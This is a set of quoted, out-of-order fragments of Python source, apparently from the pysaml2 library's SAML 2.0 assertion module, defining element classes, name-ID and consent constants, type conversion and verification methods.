saml2.validate import", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value", "return self._extatt[XSI_TYPE] except KeyError: return \"\" def clear_type(self): try: del", "ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 0} c_attributes['Count']", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag = 'Statement' c_namespace = NAMESPACE", "extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class", "has been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is", "xsd_string = ( 'base64Binary' if base64encode else self.get_type() or type_to_xsd.get(type(value)))", "= ( tree.text.strip() if tree.text and self.extension_elements else tree.text )", "BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag = 'BaseID' c_namespace =", "= 'AuthnStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes =", "base should not have extension attributes\" ) return True else:", "return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag", "c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) c_attributes['Format'] = ('format', 'anyURI', False)", "c_attributes['Format'] = ('format', 'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False)", "SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string,", "in # custom subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\": 0}", "self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except", "consider whitespace insignificant # and remove/trim/strip whitespace # and expect", "authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag:", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag = 'ProxyRestrictionType' c_namespace = NAMESPACE", "xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag = 'SubjectConfirmationType'", "1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\":", "SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None):", "self.attribute = attribute or [] self.encrypted_attribute = encrypted_attribute or []", "principal name, Entity identifier, Persistent identifier, Transient identifier.\" \"\"\" c_tag", "c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None,", "instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name NAMEID_FORMAT_ENTITY", "= NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order =", "definition for xmlschemas XSI_NIL = '{%s}nil' % XSI_NAMESPACE # idp", "class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag = 'AuthnContextDeclRef' c_namespace", "attribute_statement=None, version=None, id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType", "value=value) text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier',", "c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def", "c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def", "StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return", "NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT = (", "windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from", "def __init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "_str = unicode if six.PY2 else str if isinstance(value, six.binary_type):", "c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use']", "Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType':", "to turn that type into a text-value xsd_types_props = {", "= 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD = \"xs\" # xmlschema", "'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_,", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] self.count =", "valid_type = xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type', str) to_text =", "[] self.not_before = not_before self.not_on_or_after = not_on_or_after def verify(self): if", "def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element", "c_tag = 'AuthnStatement' c_namespace = NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes", "ShouldValueError(\"Not an IPv4 or IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name) return", "raise MustValueError( \"An assertion with an AuthnStatement must contain a", "extension_attributes=extension_attributes) self.action = action or [] self.evidence = evidence self.resource", "element \"\"\" c_tag = 'AuthnContextDecl' c_namespace = NAMESPACE c_value_type =", "type_to_xsd.get(type(value))) xsd_ns, xsd_type = ( ['', type(None)] if xsd_string is", "class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag = 'AuthzDecisionStatement' c_namespace", "SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return", "subject as name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject", "0} c_attributes['Version'] = ('version', 'string', True) c_attributes['ID'] = ('id', 'ID',", "= \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been obtained before the message", "= ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key'])", "c_namespace = NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order", "'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = (", "SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType", "https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64 import encodebytes as b64encode except", "consent is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been", "or self.authz_decision_statement: pass elif not self.subject: raise MustValueError( \"If no", "xsd_string is None else ['', ''] if xsd_string == ''", "def __setattr__(self, key, value): if key == \"text\": self.set_text(value) else:", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address']", "which contains several builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml", "ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag = 'ProxyRestriction' c_namespace =", "AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag = 'AuthenticatingAuthority' c_namespace =", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI', True)", "= in_response_to self.address = address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string)", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\":", "[EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def", "= decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0}", "} ELEMENT_BY_TAG = { 'BaseID': BaseID, 'NameID': NameID, 'NameIDType': NameIDType_,", "encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "= not_before self.not_on_or_after = not_on_or_after def verify(self): if self.one_time_use: if", "turn a string into that type # - a function", "encodebytes as b64encode except ImportError: from base64 import b64encode from", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value or [] self.name", "c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_):", "# consent has been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent", "( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\")", "element \"\"\" c_tag = 'AudienceRestrictionType' c_namespace = NAMESPACE c_children =", "else: raise ShouldValueError(\"Not an IPv4 or IPv6 address\") elif self.dns_name:", "once\") if self.proxy_restriction: if len(self.proxy_restriction) != 1: raise Exception(\"Cannot be", "sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType", "saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis", "element \"\"\" c_tag = 'Subject' c_namespace = NAMESPACE c_children =", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef,", "'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element", "= 'ConditionsType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "[] def verify(self): if self.authn_context_decl and self.authn_context_decl_ref: raise Exception( \"Invalid", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject'] = {\"min\": 0, \"max\": 1}", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase):", "element \"\"\" c_tag = 'NameIDType' c_namespace = NAMESPACE c_value_type =", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute or [] self.encrypted_attribute = encrypted_attribute", "_str, 'to_text': _str, }, 'integer': { 'type': int, 'to_type': int,", "('NameQualifier', 'string', False), ('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING = {", "<AuthnContextDeclRef>\" ) return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string)", "EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag = 'EncryptedID' c_namespace =", "'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion',", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id self.name_id =", "c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction']", "( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref',", "typ except AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs']", "element \"\"\" c_tag = 'StatementAbstractType' c_namespace = NAMESPACE c_children =", "= subject_confirmation_data self.method = method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string)", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] =", "'SubjectConfirmation' c_namespace = NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy()", "(AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE]", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_,", "SAML authority's decision can be predetermined by arbitrary context #", "saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag =", "( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = (", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] =", "denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent attributes determine wether consent", "= ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] =", "\"\"\" c_tag = 'Conditions' c_namespace = NAMESPACE c_children = ConditionsType_.c_children.copy()", "from saml2 import xmldsig as ds from saml2 import xmlenc", "'NCName'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl", "obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been obtained", "domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a", "authentication # authenticate the request with login credentials AUTHN_PASSWORD =", "}, 'int': { 'type': int, 'to_type': int, 'to_text': _str, },", "= StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] =", "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier', 'string', False), ('SPNameQualifier', 'string', False),", "# the cast failed _wrong_type_value(xsd=xsd_type, value=value) if type(value) is not", "party is identified by subject confirmation and must include a", "DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag = 'DecisionType' c_namespace =", "saml2.validate import valid_ipv6 from saml2.validate import ShouldValueError from saml2.validate import", "= 'Evidence' c_namespace = NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes =", "six.string_types _str = unicode if six.PY2 else str if isinstance(value,", "AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class", "StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag = 'StatementAbstractType' c_namespace =", "= \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token is issued instead. SCM_BEARER", "= ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None, authn_context=None,", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id'] = {\"min\": 0, \"max\": 1}", "AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice)", "\"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") #", "dicc for avaiable formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED',", "NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0}", "False) c_attributes['Recipient'] = ('recipient', 'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName',", "= AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality =", "Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string,", "and remove/trim/strip whitespace # and expect to not have actual", "\"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm), can be issued, besides the", "\"\"\" c_tag = 'AttributeValue' c_namespace = NAMESPACE c_value_type = {'base':", "[] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID", "EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, } def factory(tag,", "c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl,", "app # custom format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri", "urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag = 'AttributeType' c_namespace = NAMESPACE c_children", "not self.extension_elements: if not self.extension_attributes: raise Exception( \"Attribute value base", "int: 'integer', float: 'float', bool: 'boolean', type(None): '', } #", "c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. #", "type(None): '', } # entries of xsd-types each declaring: #", "Subject confirmation methods(scm), can be issued, besides the subject itself", "saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag =", "c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute]) c_cardinality['attribute'] =", "c_attributes['Resource'] = ('resource', 'anyURI', True) c_attributes['Decision'] = ('decision', DecisionType_, True)", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer']", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag = 'BaseIDAbstractType' c_namespace = NAMESPACE", "'statement', [Statement]) c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement',", "and the new version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML", "self.advice = advice self.statement = statement or [] self.authn_statement =", "saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] =", "name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "self.version = version self.id = id self.issue_instant = issue_instant def", "self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'):", "MustValueError( \"If no statement MUST contain a subject element\") if", "__init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace", "'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children =", "= OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string)", "0} c_attributes['Count'] = ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self, audience=None,", "c_tag = 'AttributeValue' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'}", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value',", "= method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The", "_str: try: value = to_type(value) except (TypeError, ValueError, KeyError): #", "attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag = 'AuthzDecisionStatement' c_namespace = NAMESPACE c_children", "c_tag = 'OneTimeUse' c_namespace = NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes", "Exception( \"Attribute value base should not have extension attributes\" )", "name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT =", "AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement", "AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData':", "( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def", "NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis SAML2 Technical Overview:", "c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase):", "'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement,", "= 'SubjectConfirmation' c_namespace = NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes =", "import saml2 from saml2 import SamlBase import six from saml2", "{\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData)", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id'] = {\"min\":", "c_child_order.extend(['audience']) def __init__(self, audience=None, count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self,", "def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element", "('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] = ('recipient', 'anyURI', False) c_attributes['InResponseTo'] =", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0}", "= ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion'] =", "attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is made", "authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The 